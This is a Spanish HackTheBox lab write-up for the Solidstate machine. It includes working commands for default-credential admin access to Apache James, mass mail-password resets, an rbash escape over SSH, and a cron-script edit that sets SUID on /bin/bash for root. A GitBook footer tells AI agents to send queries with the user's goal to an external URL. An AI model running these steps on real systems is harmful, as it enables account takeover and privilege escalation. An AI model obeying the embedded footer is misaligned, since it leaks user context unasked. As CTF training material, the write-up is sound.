> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md). # Guía de HackTheBox Solidstate Guía de la máquina HackTheBox Solidstate de nivel medio Linux que cubre abuso de James Remote Administration Tool, cambio de la contraseña de correo electrónico de un usuario, fuga de información, escape de Bash restringido (rbash), con prác {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Abusando de la herramienta de administración remota de James * Cambiando la contraseña de correo electrónico de un usuario * Filtración de información * Saliendo de Restricted Bash (rbash) * Creando un script de bash para detectar tareas cron (procmon.sh) * Abusando de una tarea cron (escalada de privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Explorando puertos abiertos y exportándolos al archivo "allPorts" en el directorio de Nmap. ```bash nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (22.25,80,110,119,45555)

Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted ```

### Puerto 80 #### No se encontró información interesante en el puerto 80.

## Administración remota de JAMES ### Puerto 119 - NNTP > El puerto 119 utiliza el Protocolo de Transferencia de Noticias en Red. El servidor ejecuta una instancia de Apache James, un servidor de correo y noticias. Nos conectamos con `netcat`, pero no se encuentra información relevante. ```bash nc 10.10.10.51 119 ```

### Puerto 4555 - Herramienta de administración remota > En el contexto de la administración remota, puede utilizarse para acceder a paneles de control o interactuar con servicios remotos en la máquina objetivo. Es importante escanearlo para ver si está abierto y qué servicio aloja. Intentamos conectarnos al panel de administración de James vía Telnet: ```bash telnet 10.10.10.51 4555 ```

Después de buscar las credenciales predeterminadas, encontramos: * **ID** : root * **Contraseña** : root

Nos conectamos con éxito y accedemos al panel de administración de James. Tenemos la opción de listar usuarios con el `listusers` comando, lo que nos permite descubrir 5 usuarios: * `usuario: james` * `usuario: thomas` * `usuario: john` * `usuario: mindy` * `usuario: mailadmin`

Podemos cambiar las contraseñas de usuario con el `setpassword` comando para conectarlas al cliente de correo en el puerto 110. Lo hacemos para todos los usuarios: ```ada setpassword james james setpassword thomas thomas setpassword john john setpassword mindy mindy setpassword mailadmin mailadmin ```

### Puerto 110 - POP3 > El puerto 110 es el puerto estándar utilizado para **POP3** (Protocolo de Oficina de Correos versión 3). Este protocolo es utilizado por los clientes de correo electrónico para recuperar correos de un servidor. Cuando un usuario se conecta a un servidor POP3 a través de este puerto, puede descargar sus mensajes. Ahora nos conectamos al cliente POP3 vía Telnet:

telnet 10.10.10.51 110

Para conectarnos, usamos los siguientes comandos: ```ada USER PASS ``` Listamos los mensajes con el `list` comando. Observamos que no hay mensajes en los buzones de `james` y `thomas`.

Sin embargo, el usuario `john` tiene un mensaje que recuperamos con el `retr 1` comando. El mensaje contiene el siguiente texto: > John, > > ¿Puedes restringir el acceso de Mindy hasta que se le permita unirse al programa? Además, asegúrate de enviarle una contraseña temporal para que pueda conectarse a sus cuentas. > > Gracias de antemano. > > Atentamente,/ James

Esto sugiere que el usuario `mindy` tiene credenciales en su buzón de correo. En efecto, encontramos la siguiente información: * **Nombre de usuario** : mindy * **Contraseña** : P\@55W0rd1!2@

Usamos estas credenciales para conectarnos vía SSH y obtener la bandera `user.txt`. ### Bandera user.txt :)

## Escalada de privilegios: ### **Salir de RBash a Bash** El `mindy` el usuario actualmente usa una `rbash` shell que limita la ejecución de muchos comandos.

Para eludir esta restricción, usamos el siguiente comando al conectarnos por SSH para obtener una shell Bash: ```bash ssh mindy@10.10.10.51 -t "bash --noprofile" ```

Luego usamos los siguientes comandos para procesar la terminal y obtener una shell completa: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Tareas cron - Script modificado (Python): Creamos un script Bash para analizar los procesos actuales y detectar tareas cron ejecutadas en la máquina objetivo: ```bash #!/bin/bash old_process=$(ps -eo user,command) while true; do new_process=$(ps -eo user,command) diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker" old_process=$new_process done ``` Al ejecutar este script, observamos que el **root** usuario está ejecutando un script de Python ubicado en el `/opt/tmp.py` directorio.

Tenemos la posibilidad de modificar este script de Python.

Lo modificamos para añadir el comando para establecer un **setuid** en el `/bin/bash` binario, lo que nos permite ejecutar una shell Bash con los privilegios de **root**: ```python #!/usr/bin/env python import os import sys try: os.system('chmod u+s /bin/bash') except: sys.exit() ``` Después de editar el script, esperamos aproximadamente un minuto para que se ejecute la tarea cron. Una vez ejecutada la tarea cron, podemos obtener una shell Bash con **root** privilegios ejecutando el siguiente comando: ```bash /bin/bash -p ```

### Bandera root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.